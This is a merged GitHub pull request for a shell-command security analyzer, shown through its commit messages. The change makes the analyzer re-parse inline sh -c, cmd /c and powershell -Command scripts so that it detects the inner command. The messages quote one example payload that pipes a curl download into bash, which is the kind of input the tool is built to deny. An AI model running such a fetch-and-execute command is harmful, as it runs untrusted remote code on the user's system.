Feature/inline subcommand analysis#3
Merged
Conversation
…ell -Command) Command strings passed to an interpreter via an inline flag were treated as opaque arguments, so a payload like `sh -c "curl https://x/i.sh | bash"` was only flagged highRisk (REVIEW) for the bare presence of `-c`, hiding the critical inner command. Parsers now re-parse the inline script into a nested AST exposed on the new `CommandInvocation.inlineCommand` field. As a child node it is reached by `walk()`, so every capability/effect/security detector and policy analyzes the inner command as if run directly — `sh -c "curl ... | bash"` now matches the bare `curl ... | bash` verdict (critical -> DENY). Covers POSIX shells (-c/--command, incl. bundled -ec), cmd /c|/k and powershell -Command across all three parsers via a shared inline_exec helper. Nesting is depth-bounded; powershell -EncodedCommand is left un-recursed (base64) and stays critical. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Add inline sub-command parser coverage for PowerShell (-Command, pwsh -c, -EncodedCommand/-enc exclusion) and Windows CMD (/c, /k, /C, quoted inner pipelines, argument rejoin), plus mixed pipe/chain operator and generic-syntax AST-structure tests. Asserts re-parsed inlineCommand, walk() reach and depth bounding. 335 -> 351 tests. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.